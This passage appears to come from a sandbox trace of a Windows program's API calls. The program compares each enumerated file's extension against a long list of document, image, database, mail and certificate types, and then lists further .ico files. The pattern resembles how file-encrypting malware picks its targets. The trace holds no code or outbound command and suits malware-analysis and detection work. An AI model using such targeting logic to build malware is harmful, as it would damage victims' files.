(lpString=".cdr") returned 4 [0088.690] lstrcmpiW (lpString1=".cdr", lpString2=".ico") returned -1 [0088.690] lstrlenW (lpString=".cer") returned 4 [0088.690] lstrcmpiW (lpString1=".cer", lpString2=".ico") returned -1 [0088.690] lstrlenW (lpString=".cf") returned 3 [0088.690] lstrcmpiW (lpString1=".cf", lpString2="ico") returned -1 [0088.690] lstrlenW (lpString=".cfc") returned 4 [0088.690] lstrcmpiW (lpString1=".cfc", lpString2=".ico") returned -1 [0088.690] lstrlenW (lpString=".cfm") returned 4 [0088.690] lstrcmpiW (lpString1=".cfm", lpString2=".ico") returned -1 [0088.690] lstrlenW (lpString=".cfml") returned 5 [0088.690] lstrcmpiW (lpString1=".cfml", lpString2="1.ico") returned -1 [0088.690] lstrlenW (lpString=".cfu") returned 4 [0088.690] lstrcmpiW (lpString1=".cfu", lpString2=".ico") returned -1 [0088.690] lstrlenW (lpString=".chm") returned 4 [0088.691] lstrcmpiW (lpString1=".chm", lpString2=".ico") returned -1 [0088.691] lstrlenW (lpString=".cin") returned 4 [0088.691] lstrcmpiW (lpString1=".cin", lpString2=".ico") returned -1 [0088.691] lstrlenW (lpString=".class") returned 6 [0088.691] lstrcmpiW (lpString1=".class", lpString2="e1.ico") returned -1 [0088.691] lstrlenW (lpString=".clx") returned 4 [0088.691] lstrcmpiW (lpString1=".clx", lpString2=".ico") returned -1 [0088.691] lstrlenW (lpString=".config") returned 7 [0088.691] lstrcmpiW (lpString1=".config", lpString2="te1.ico") returned -1 [0088.691] lstrlenW (lpString=".cpp") returned 4 [0088.691] lstrcmpiW (lpString1=".cpp", lpString2=".ico") returned -1 [0088.691] lstrlenW (lpString=".cr2") returned 4 [0088.691] lstrcmpiW (lpString1=".cr2", lpString2=".ico") returned -1 [0088.691] lstrlenW (lpString=".crt") returned 4 [0088.691] lstrcmpiW (lpString1=".crt", lpString2=".ico") returned -1 [0088.691] lstrlenW (lpString=".crw") returned 4 [0088.691] lstrcmpiW (lpString1=".crw", lpString2=".ico") returned -1 [0088.691] lstrlenW (lpString=".cs") returned 3 [0088.691] lstrcmpiW (lpString1=".cs", lpString2="ico") returned -1 [0088.691] lstrlenW (lpString=".css") returned 4 [0088.691] lstrcmpiW (lpString1=".css", lpString2=".ico") returned -1 [0088.691] lstrlenW (lpString=".csv") returned 4 [0088.691] lstrcmpiW (lpString1=".csv", lpString2=".ico") returned -1 [0088.691] lstrlenW (lpString=".cub") returned 4 [0088.691] lstrcmpiW (lpString1=".cub", lpString2=".ico") returned -1 [0088.692] lstrlenW (lpString=".dae") returned 4 [0088.692] lstrcmpiW (lpString1=".dae", lpString2=".ico") returned -1 [0088.692] lstrlenW (lpString=".dat") returned 4 [0088.692] lstrcmpiW (lpString1=".dat", lpString2=".ico") returned -1 [0088.692] lstrlenW (lpString=".db") returned 3 [0088.692] lstrcmpiW (lpString1=".db", lpString2="ico") returned -1 [0088.692] lstrlenW (lpString=".dbf") returned 4 [0088.692] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0088.692] lstrlenW (lpString=".dbx") returned 4 [0088.692] lstrcmpiW (lpString1=".dbx", lpString2=".ico") returned -1 [0088.692] lstrlenW (lpString=".dc3") returned 4 [0088.692] lstrcmpiW (lpString1=".dc3", lpString2=".ico") returned -1 [0088.692] lstrlenW (lpString=".dcm") returned 4 [0088.692] lstrcmpiW (lpString1=".dcm", lpString2=".ico") returned -1 [0088.692] lstrlenW (lpString=".dcr") returned 4 [0088.692] lstrcmpiW (lpString1=".dcr", lpString2=".ico") returned -1 [0088.692] lstrlenW (lpString=".der") returned 4 [0088.692] lstrcmpiW (lpString1=".der", lpString2=".ico") returned -1 [0088.692] lstrlenW (lpString=".dib") returned 4 [0088.692] lstrcmpiW (lpString1=".dib", lpString2=".ico") returned -1 [0088.692] lstrlenW (lpString=".dic") returned 4 [0088.692] lstrcmpiW (lpString1=".dic", lpString2=".ico") returned -1 [0088.692] lstrlenW (lpString=".dif") returned 4 [0088.692] lstrcmpiW (lpString1=".dif", lpString2=".ico") returned -1 [0088.692] lstrlenW (lpString=".divx") returned 5 [0088.692] lstrcmpiW (lpString1=".divx", lpString2="1.ico") returned -1 [0088.692] lstrlenW (lpString=".djvu") returned 5 [0088.693] lstrcmpiW (lpString1=".djvu", lpString2="1.ico") returned -1 [0088.693] lstrlenW (lpString=".dng") returned 4 [0088.693] lstrcmpiW (lpString1=".dng", lpString2=".ico") returned -1 [0088.693] lstrlenW (lpString=".doc") returned 4 [0088.693] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0088.693] lstrlenW (lpString=".docm") returned 5 [0088.693] lstrcmpiW (lpString1=".docm", lpString2="1.ico") returned -1 [0088.693] lstrlenW (lpString=".docx") returned 5 [0088.693] lstrcmpiW (lpString1=".docx", lpString2="1.ico") returned -1 [0088.693] lstrlenW (lpString=".dot") returned 4 [0088.693] lstrcmpiW (lpString1=".dot", lpString2=".ico") returned -1 [0088.693] lstrlenW (lpString=".dotm") returned 5 [0088.693] lstrcmpiW (lpString1=".dotm", lpString2="1.ico") returned -1 [0088.693] lstrlenW (lpString=".dotx") returned 5 [0088.693] lstrcmpiW (lpString1=".dotx", lpString2="1.ico") returned -1 [0088.693] lstrlenW (lpString=".dpx") returned 4 [0088.693] lstrcmpiW (lpString1=".dpx", lpString2=".ico") returned -1 [0088.693] lstrlenW (lpString=".dqy") returned 4 [0088.693] lstrcmpiW (lpString1=".dqy", lpString2=".ico") returned -1 [0088.693] lstrlenW (lpString=".dsn") returned 4 [0088.693] lstrcmpiW (lpString1=".dsn", lpString2=".ico") returned -1 [0088.693] lstrlenW (lpString=".dt") returned 3 [0088.693] lstrcmpiW (lpString1=".dt", lpString2="ico") returned -1 [0088.693] lstrlenW (lpString=".dtd") returned 4 [0088.693] lstrcmpiW (lpString1=".dtd", lpString2=".ico") returned -1 [0088.693] lstrlenW (lpString=".dwg") returned 4 [0088.694] lstrcmpiW (lpString1=".dwg", lpString2=".ico") returned -1 [0088.694] lstrlenW (lpString=".dwt") returned 4 [0088.694] lstrcmpiW (lpString1=".dwt", lpString2=".ico") returned -1 [0088.694] lstrlenW (lpString=".dx") returned 3 [0088.694] lstrcmpiW (lpString1=".dx", lpString2="ico") returned -1 [0088.800] lstrlenW (lpString=".dxf") returned 4 [0088.800] lstrcmpiW (lpString1=".dxf", lpString2=".ico") returned -1 [0088.800] lstrlenW (lpString=".edml") returned 5 [0088.800] lstrcmpiW (lpString1=".edml", lpString2="1.ico") returned -1 [0088.800] lstrlenW (lpString=".efd") returned 4 [0088.800] lstrcmpiW (lpString1=".efd", lpString2=".ico") returned -1 [0088.800] lstrlenW (lpString=".elf") returned 4 [0088.800] lstrcmpiW (lpString1=".elf", lpString2=".ico") returned -1 [0088.800] lstrlenW (lpString=".emf") returned 4 [0088.800] lstrcmpiW (lpString1=".emf", lpString2=".ico") returned -1 [0088.800] lstrlenW (lpString=".emz") returned 4 [0088.800] lstrcmpiW (lpString1=".emz", lpString2=".ico") returned -1 [0088.800] lstrlenW (lpString=".epf") returned 4 [0088.800] lstrcmpiW (lpString1=".epf", lpString2=".ico") returned -1 [0088.800] lstrlenW (lpString=".eps") returned 4 [0088.800] lstrcmpiW (lpString1=".eps", lpString2=".ico") returned -1 [0088.800] lstrlenW (lpString=".epsf") returned 5 [0088.800] lstrcmpiW (lpString1=".epsf", lpString2="1.ico") returned -1 [0088.800] lstrlenW (lpString=".epsp") returned 5 [0088.800] lstrcmpiW (lpString1=".epsp", lpString2="1.ico") returned -1 [0088.800] lstrlenW (lpString=".erf") returned 4 [0088.800] lstrcmpiW (lpString1=".erf", lpString2=".ico") returned -1 [0088.800] lstrlenW (lpString=".exr") returned 4 [0088.800] lstrcmpiW (lpString1=".exr", lpString2=".ico") returned -1 [0088.801] lstrlenW (lpString=".f4v") returned 4 [0088.801] lstrcmpiW (lpString1=".f4v", lpString2=".ico") returned -1 [0088.801] lstrlenW (lpString=".fido") returned 5 [0088.801] lstrcmpiW (lpString1=".fido", lpString2="1.ico") returned -1 [0088.801] lstrlenW (lpString=".flm") returned 4 [0088.801] lstrcmpiW (lpString1=".flm", lpString2=".ico") returned -1 [0088.801] lstrlenW (lpString=".flv") returned 4 [0088.801] lstrcmpiW (lpString1=".flv", lpString2=".ico") returned -1 [0088.801] lstrlenW (lpString=".frm") returned 4 [0088.801] lstrcmpiW (lpString1=".frm", lpString2=".ico") returned -1 [0088.801] lstrlenW (lpString=".fxg") returned 4 [0088.801] lstrcmpiW (lpString1=".fxg", lpString2=".ico") returned -1 [0088.801] lstrlenW (lpString=".geo") returned 4 [0088.801] lstrcmpiW (lpString1=".geo", lpString2=".ico") returned -1 [0088.801] lstrlenW (lpString=".gif") returned 4 [0088.801] lstrcmpiW (lpString1=".gif", lpString2=".ico") returned -1 [0088.801] lstrlenW (lpString=".grs") returned 4 [0088.801] lstrcmpiW (lpString1=".grs", lpString2=".ico") returned -1 [0088.801] lstrlenW (lpString=".gz") returned 3 [0088.801] lstrcmpiW (lpString1=".gz", lpString2="ico") returned -1 [0088.801] lstrlenW (lpString=".h") returned 2 [0088.801] lstrcmpiW (lpString1=".h", lpString2="co") returned -1 [0088.801] lstrlenW (lpString=".hdr") returned 4 [0088.801] lstrcmpiW (lpString1=".hdr", lpString2=".ico") returned -1 [0088.801] lstrlenW (lpString=".hpp") returned 4 [0088.802] lstrcmpiW (lpString1=".hpp", lpString2=".ico") returned -1 [0088.802] lstrlenW (lpString=".hta") returned 4 [0088.802] lstrcmpiW (lpString1=".hta", lpString2=".ico") returned -1 [0088.802] lstrlenW (lpString=".htc") returned 4 [0088.802] lstrcmpiW (lpString1=".htc", lpString2=".ico") returned -1 [0088.802] lstrlenW (lpString=".htm") returned 4 [0088.802] lstrcmpiW (lpString1=".htm", lpString2=".ico") returned -1 [0088.802] lstrlenW (lpString=".html") returned 5 [0088.802] lstrcmpiW (lpString1=".html", lpString2="1.ico") returned -1 [0088.802] lstrlenW (lpString=".icb") returned 4 [0088.802] lstrcmpiW (lpString1=".icb", lpString2=".ico") returned -1 [0088.802] lstrlenW (lpString=".ics") returned 4 [0088.802] lstrcmpiW (lpString1=".ics", lpString2=".ico") returned 1 [0088.802] lstrlenW (lpString=".iff") returned 4 [0088.802] lstrcmpiW (lpString1=".iff", lpString2=".ico") returned 1 [0088.802] lstrlenW (lpString=".inc") returned 4 [0088.802] lstrcmpiW (lpString1=".inc", lpString2=".ico") returned 1 [0088.802] lstrlenW (lpString=".indd") returned 5 [0088.802] lstrcmpiW (lpString1=".indd", lpString2="1.ico") returned -1 [0088.802] lstrlenW (lpString=".ini") returned 4 [0088.802] lstrcmpiW (lpString1=".ini", lpString2=".ico") returned 1 [0088.802] lstrlenW (lpString=".iqy") returned 4 [0088.802] lstrcmpiW (lpString1=".iqy", lpString2=".ico") returned 1 [0088.802] lstrlenW (lpString=".j2c") returned 4 [0088.802] lstrcmpiW (lpString1=".j2c", lpString2=".ico") returned 1 [0088.803] lstrlenW (lpString=".j2k") returned 4 [0088.803] lstrcmpiW (lpString1=".j2k", lpString2=".ico") returned 1 [0088.803] lstrlenW (lpString=".java") returned 5 [0088.803] lstrcmpiW (lpString1=".java", lpString2="1.ico") returned -1 [0088.803] lstrlenW (lpString=".jp2") returned 4 [0088.803] lstrcmpiW (lpString1=".jp2", lpString2=".ico") returned 1 [0088.803] lstrlenW (lpString=".jpc") returned 4 [0088.803] lstrcmpiW (lpString1=".jpc", lpString2=".ico") returned 1 [0088.803] lstrlenW (lpString=".jpe") returned 4 [0088.803] lstrcmpiW (lpString1=".jpe", lpString2=".ico") returned 1 [0088.803] lstrlenW (lpString=".jpeg") returned 5 [0088.803] lstrcmpiW (lpString1=".jpeg", lpString2="1.ico") returned -1 [0088.803] lstrlenW (lpString=".jpf") returned 4 [0088.803] lstrcmpiW (lpString1=".jpf", lpString2=".ico") returned 1 [0088.803] lstrlenW (lpString=".jpg") returned 4 [0088.804] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0088.804] lstrlenW (lpString=".jpx") returned 4 [0088.804] lstrcmpiW (lpString1=".jpx", lpString2=".ico") returned 1 [0088.804] lstrlenW (lpString=".js") returned 3 [0088.804] lstrcmpiW (lpString1=".js", lpString2="ico") returned -1 [0088.804] lstrlenW (lpString=".jsf") returned 4 [0088.804] lstrcmpiW (lpString1=".jsf", lpString2=".ico") returned 1 [0088.804] lstrlenW (lpString=".json") returned 5 [0088.804] lstrcmpiW (lpString1=".json", lpString2="1.ico") returned -1 [0088.804] lstrlenW (lpString=".jsp") returned 4 [0088.804] lstrcmpiW (lpString1=".jsp", lpString2=".ico") returned 1 [0088.804] lstrlenW (lpString=".kdc") returned 4 [0088.804] lstrcmpiW (lpString1=".kdc", lpString2=".ico") returned 1 [0088.804] lstrlenW (lpString=".kmz") returned 4 [0088.804] lstrcmpiW (lpString1=".kmz", lpString2=".ico") returned 1 [0088.805] lstrlenW (lpString=".kwm") returned 4 [0088.805] lstrcmpiW (lpString1=".kwm", lpString2=".ico") returned 1 [0088.805] lstrlenW (lpString=".lasso") returned 6 [0088.805] lstrcmpiW (lpString1=".lasso", lpString2="e1.ico") returned -1 [0088.805] lstrlenW (lpString=".lbi") returned 4 [0088.805] lstrcmpiW (lpString1=".lbi", lpString2=".ico") returned 1 [0088.805] lstrlenW (lpString=".lgf") returned 4 [0088.805] lstrcmpiW (lpString1=".lgf", lpString2=".ico") returned 1 [0088.805] lstrlenW (lpString=".lgp") returned 4 [0088.805] lstrcmpiW (lpString1=".lgp", lpString2=".ico") returned 1 [0088.805] lstrlenW (lpString=".log") returned 4 [0088.805] lstrcmpiW (lpString1=".log", lpString2=".ico") returned 1 [0088.805] lstrlenW (lpString=".m1v") returned 4 [0088.805] lstrcmpiW (lpString1=".m1v", lpString2=".ico") returned 1 [0088.805] lstrlenW (lpString=".m4a") returned 4 [0088.805] lstrcmpiW (lpString1=".m4a", lpString2=".ico") returned 1 [0088.805] lstrlenW (lpString=".m4v") returned 4 [0088.805] lstrcmpiW (lpString1=".m4v", lpString2=".ico") returned 1 [0088.805] lstrlenW (lpString=".max") returned 4 [0088.805] lstrcmpiW (lpString1=".max", lpString2=".ico") returned 1 [0088.805] lstrlenW (lpString=".md") returned 3 [0088.805] lstrcmpiW (lpString1=".md", lpString2="ico") returned -1 [0088.805] lstrlenW (lpString=".mda") returned 4 [0088.805] lstrcmpiW (lpString1=".mda", lpString2=".ico") returned 1 [0088.805] lstrlenW (lpString=".mdb") returned 4 [0088.806] lstrcmpiW (lpString1=".mdb", lpString2=".ico") returned 1 [0088.806] lstrlenW (lpString=".mde") returned 4 [0088.806] lstrcmpiW (lpString1=".mde", lpString2=".ico") returned 1 [0088.806] lstrlenW (lpString=".mdf") returned 4 [0088.806] lstrcmpiW (lpString1=".mdf", lpString2=".ico") returned 1 [0088.806] lstrlenW (lpString=".mdw") returned 4 [0088.806] lstrcmpiW (lpString1=".mdw", lpString2=".ico") returned 1 [0088.806] lstrlenW (lpString=".mef") returned 4 [0088.806] lstrcmpiW (lpString1=".mef", lpString2=".ico") returned 1 [0088.806] lstrlenW (lpString=".mft") returned 4 [0088.806] lstrcmpiW (lpString1=".mft", lpString2=".ico") returned 1 [0088.806] lstrlenW (lpString=".mfw") returned 4 [0088.806] lstrcmpiW (lpString1=".mfw", lpString2=".ico") returned 1 [0088.806] lstrlenW (lpString=".mht") returned 4 [0088.806] lstrcmpiW (lpString1=".mht", lpString2=".ico") returned 1 [0088.806] lstrlenW (lpString=".mhtml") returned 6 [0088.806] lstrcmpiW (lpString1=".mhtml", lpString2="e1.ico") returned -1 [0088.806] lstrlenW (lpString=".mka") returned 4 [0088.806] lstrcmpiW (lpString1=".mka", lpString2=".ico") returned 1 [0088.806] lstrlenW (lpString=".mkidx") returned 6 [0088.806] lstrcmpiW (lpString1=".mkidx", lpString2="e1.ico") returned -1 [0088.806] lstrlenW (lpString=".mkv") returned 4 [0088.806] lstrcmpiW (lpString1=".mkv", lpString2=".ico") returned 1 [0088.806] lstrlenW (lpString=".mos") returned 4 [0088.806] lstrcmpiW (lpString1=".mos", lpString2=".ico") returned 1 [0088.807] lstrlenW (lpString=".mov") returned 4 [0088.807] lstrcmpiW (lpString1=".mov", lpString2=".ico") returned 1 [0088.807] lstrlenW (lpString=".mp3") returned 4 [0088.807] lstrcmpiW (lpString1=".mp3", lpString2=".ico") returned 1 [0088.807] lstrlenW (lpString=".mp4") returned 4 [0088.807] lstrcmpiW (lpString1=".mp4", lpString2=".ico") returned 1 [0088.807] lstrlenW (lpString=".mpeg") returned 5 [0088.807] lstrcmpiW (lpString1=".mpeg", lpString2="1.ico") returned -1 [0088.807] lstrlenW (lpString=".mpg") returned 4 [0088.807] lstrcmpiW (lpString1=".mpg", lpString2=".ico") returned 1 [0088.807] lstrlenW (lpString=".mpv") returned 4 [0088.807] lstrcmpiW (lpString1=".mpv", lpString2=".ico") returned 1 [0088.807] lstrlenW (lpString=".mrw") returned 4 [0088.807] lstrcmpiW (lpString1=".mrw", lpString2=".ico") returned 1 [0088.807] lstrlenW (lpString=".msg") returned 4 [0088.807] lstrcmpiW (lpString1=".msg", lpString2=".ico") returned 1 [0088.807] lstrlenW (lpString=".mxl") returned 4 [0088.807] lstrcmpiW (lpString1=".mxl", lpString2=".ico") returned 1 [0088.807] lstrlenW (lpString=".myd") returned 4 [0088.807] lstrcmpiW (lpString1=".myd", lpString2=".ico") returned 1 [0088.807] lstrlenW (lpString=".myi") returned 4 [0088.807] lstrcmpiW (lpString1=".myi", lpString2=".ico") returned 1 [0088.807] lstrlenW (lpString=".nef") returned 4 [0088.807] lstrcmpiW (lpString1=".nef", lpString2=".ico") returned 1 [0088.807] lstrlenW (lpString=".nrw") returned 4 [0088.808] lstrcmpiW (lpString1=".nrw", lpString2=".ico") returned 1 [0088.808] lstrlenW (lpString=".obj") returned 4 [0088.808] lstrcmpiW (lpString1=".obj", lpString2=".ico") returned 1 [0088.808] lstrlenW (lpString=".odb") returned 4 [0088.808] lstrcmpiW (lpString1=".odb", lpString2=".ico") returned 1 [0088.808] lstrlenW (lpString=".odc") returned 4 [0088.808] lstrcmpiW (lpString1=".odc", lpString2=".ico") returned 1 [0088.808] lstrlenW (lpString=".odm") returned 4 [0088.808] lstrcmpiW (lpString1=".odm", lpString2=".ico") returned 1 [0088.808] lstrlenW (lpString=".odp") returned 4 [0088.808] lstrcmpiW (lpString1=".odp", lpString2=".ico") returned 1 [0088.808] lstrlenW (lpString=".ods") returned 4 [0088.808] lstrcmpiW (lpString1=".ods", lpString2=".ico") returned 1 [0088.808] lstrlenW (lpString=".oft") returned 4 [0088.808] lstrcmpiW (lpString1=".oft", lpString2=".ico") returned 1 [0088.808] lstrlenW (lpString=".one") returned 4 [0088.808] lstrcmpiW (lpString1=".one", lpString2=".ico") returned 1 [0088.808] lstrlenW (lpString=".onepkg") returned 7 [0088.808] lstrcmpiW (lpString1=".onepkg", lpString2="te1.ico") returned -1 [0088.808] lstrlenW (lpString=".onetoc2") returned 8 [0088.808] lstrcmpiW (lpString1=".onetoc2", lpString2="ate1.ico") returned -1 [0088.808] lstrlenW (lpString=".opt") returned 4 [0088.808] lstrcmpiW (lpString1=".opt", lpString2=".ico") returned 1 [0088.808] lstrlenW (lpString=".oqy") returned 4 [0088.808] lstrcmpiW (lpString1=".oqy", lpString2=".ico") returned 1 [0088.809] lstrlenW (lpString=".orf") returned 4 [0088.809] lstrcmpiW (lpString1=".orf", lpString2=".ico") returned 1 [0088.809] lstrlenW (lpString=".p12") returned 4 [0088.809] lstrcmpiW (lpString1=".p12", lpString2=".ico") returned 1 [0088.809] lstrlenW (lpString=".p7b") returned 4 [0088.809] lstrcmpiW (lpString1=".p7b", lpString2=".ico") returned 1 [0088.809] lstrlenW (lpString=".p7c") returned 4 [0088.809] lstrcmpiW (lpString1=".p7c", lpString2=".ico") returned 1 [0088.809] lstrlenW (lpString=".pam") returned 4 [0088.809] lstrcmpiW (lpString1=".pam", lpString2=".ico") returned 1 [0088.809] lstrlenW (lpString=".pbm") returned 4 [0088.809] lstrcmpiW (lpString1=".pbm", lpString2=".ico") returned 1 [0088.809] lstrlenW (lpString=".pct") returned 4 [0088.809] lstrcmpiW (lpString1=".pct", lpString2=".ico") returned 1 [0088.809] lstrlenW (lpString=".pcx") returned 4 [0088.809] lstrcmpiW (lpString1=".pcx", lpString2=".ico") returned 1 [0088.809] lstrlenW (lpString=".pdd") returned 4 [0088.809] lstrcmpiW (lpString1=".pdd", lpString2=".ico") returned 1 [0088.809] lstrlenW (lpString=".pdf") returned 4 [0088.809] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0088.809] lstrlenW (lpString=".pdp") returned 4 [0088.809] lstrcmpiW (lpString1=".pdp", lpString2=".ico") returned 1 [0088.809] lstrlenW (lpString=".pef") returned 4 [0088.809] lstrcmpiW (lpString1=".pef", lpString2=".ico") returned 1 [0088.809] lstrlenW (lpString=".pem") returned 4 [0088.810] lstrcmpiW (lpString1=".pem", lpString2=".ico") returned 1 [0088.810] lstrlenW (lpString=".pff") returned 4 [0088.810] lstrcmpiW (lpString1=".pff", lpString2=".ico") returned 1 [0088.810] lstrlenW (lpString=".pfm") returned 4 [0088.810] lstrcmpiW (lpString1=".pfm", lpString2=".ico") returned 1 [0088.810] lstrlenW (lpString=".pfx") returned 4 [0088.810] lstrcmpiW (lpString1=".pfx", lpString2=".ico") returned 1 [0088.810] lstrlenW (lpString=".pgm") returned 4 [0088.810] lstrcmpiW (lpString1=".pgm", lpString2=".ico") returned 1 [0088.810] lstrlenW (lpString=".php") returned 4 [0088.810] lstrcmpiW (lpString1=".php", lpString2=".ico") returned 1 [0088.810] lstrlenW (lpString=".php3") returned 5 [0088.810] lstrcmpiW (lpString1=".php3", lpString2="1.ico") returned -1 [0088.810] lstrlenW (lpString=".php4") returned 5 [0088.810] lstrcmpiW (lpString1=".php4", lpString2="1.ico") returned -1 [0088.810] lstrlenW (lpString=".php5") returned 5 [0088.810] lstrcmpiW (lpString1=".php5", lpString2="1.ico") returned -1 [0088.810] lstrlenW (lpString=".phtml") returned 6 [0088.810] lstrcmpiW (lpString1=".phtml", lpString2="e1.ico") returned -1 [0088.810] lstrlenW (lpString=".pict") returned 5 [0088.810] lstrcmpiW (lpString1=".pict", lpString2="1.ico") returned -1 [0088.810] lstrlenW (lpString=".pl") returned 3 [0088.810] lstrcmpiW (lpString1=".pl", lpString2="ico") returned -1 [0088.810] lstrlenW (lpString=".pls") returned 4 [0088.811] lstrcmpiW (lpString1=".pls", lpString2=".ico") returned 1 [0088.811] lstrlenW (lpString=".pm") returned 3 [0088.811] lstrcmpiW (lpString1=".pm", lpString2="ico") returned -1 [0088.811] lstrlenW (lpString=".png") returned 4 [0088.811] lstrcmpiW (lpString1=".png", lpString2=".ico") returned 1 [0088.811] lstrlenW (lpString=".pnm") returned 4 [0088.811] lstrcmpiW (lpString1=".pnm", lpString2=".ico") returned 1 [0088.811] lstrlenW (lpString=".pot") returned 4 [0088.811] lstrcmpiW (lpString1=".pot", lpString2=".ico") returned 1 [0088.811] lstrlenW (lpString=".potm") returned 5 [0088.811] lstrcmpiW (lpString1=".potm", lpString2="1.ico") returned -1 [0088.811] lstrlenW (lpString=".potx") returned 5 [0088.811] lstrcmpiW (lpString1=".potx", lpString2="1.ico") returned -1 [0088.811] lstrlenW (lpString=".ppa") returned 4 [0088.811] lstrcmpiW (lpString1=".ppa", lpString2=".ico") returned 1 [0088.811] lstrlenW (lpString=".ppam") returned 5 [0088.811] lstrcmpiW (lpString1=".ppam", lpString2="1.ico") returned -1 [0088.811] lstrlenW (lpString=".ppm") returned 4 [0088.811] lstrcmpiW (lpString1=".ppm", lpString2=".ico") returned 1 [0088.811] lstrlenW (lpString=".pps") returned 4 [0088.811] lstrcmpiW (lpString1=".pps", lpString2=".ico") returned 1 [0088.811] lstrlenW (lpString=".ppsm") returned 5 [0088.811] lstrcmpiW (lpString1=".ppsm", lpString2="1.ico") returned -1 [0088.811] lstrlenW (lpString=".ppt") returned 4 [0088.811] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0088.812] lstrlenW (lpString=".pptm") returned 5 [0088.812] lstrcmpiW (lpString1=".pptm", lpString2="1.ico") returned -1 [0088.812] lstrlenW (lpString=".pptx") returned 5 [0088.812] lstrcmpiW (lpString1=".pptx", lpString2="1.ico") returned -1 [0088.812] lstrlenW (lpString=".prn") returned 4 [0088.812] lstrcmpiW (lpString1=".prn", lpString2=".ico") returned 1 [0088.812] lstrlenW (lpString=".ps") returned 3 [0088.812] lstrcmpiW (lpString1=".ps", lpString2="ico") returned -1 [0088.812] lstrlenW (lpString=".psb") returned 4 [0088.812] lstrcmpiW (lpString1=".psb", lpString2=".ico") returned 1 [0088.812] lstrlenW (lpString=".psd") returned 4 [0088.812] lstrcmpiW (lpString1=".psd", lpString2=".ico") returned 1 [0088.812] lstrlenW (lpString=".pst") returned 4 [0088.812] lstrcmpiW (lpString1=".pst", lpString2=".ico") returned 1 [0088.812] lstrlenW (lpString=".ptx") returned 4 [0088.812] lstrcmpiW (lpString1=".ptx", lpString2=".ico") returned 1 [0088.812] lstrlenW (lpString=".pub") returned 4 [0088.812] lstrcmpiW (lpString1=".pub", lpString2=".ico") returned 1 [0088.812] lstrlenW (lpString=".pwm") returned 4 [0088.812] lstrcmpiW (lpString1=".pwm", lpString2=".ico") returned 1 [0088.812] lstrlenW (lpString=".pxr") returned 4 [0088.812] lstrcmpiW (lpString1=".pxr", lpString2=".ico") returned 1 [0088.812] lstrlenW (lpString=".py") returned 3 [0088.812] lstrcmpiW (lpString1=".py", lpString2="ico") returned -1 [0088.812] lstrlenW (lpString=".qt") returned 3 [0088.813] lstrcmpiW (lpString1=".qt", lpString2="ico") returned -1 [0088.813] lstrlenW (lpString=".r3d") returned 4 [0088.813] lstrcmpiW (lpString1=".r3d", lpString2=".ico") returned 1 [0088.813] lstrlenW (lpString=".raf") returned 4 [0088.813] lstrcmpiW (lpString1=".raf", lpString2=".ico") returned 1 [0088.813] lstrlenW (lpString=".rar") returned 4 [0088.813] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0088.813] lstrlenW (lpString=".raw") returned 4 [0088.813] lstrcmpiW (lpString1=".raw", lpString2=".ico") returned 1 [0088.813] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate2.ico", cAlternateFileName="")) returned 1 [0088.813] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate3.ico", cAlternateFileName="")) returned 1 [0088.813] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate4.ico", cAlternateFileName="")) returned 1 [0088.814] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate5.ico", cAlternateFileName="")) returned 1 [0088.814] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate6.ico", cAlternateFileName="")) returned 1 [0088.814] FindNextFileW (in: hFindFile=0x4260750, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, 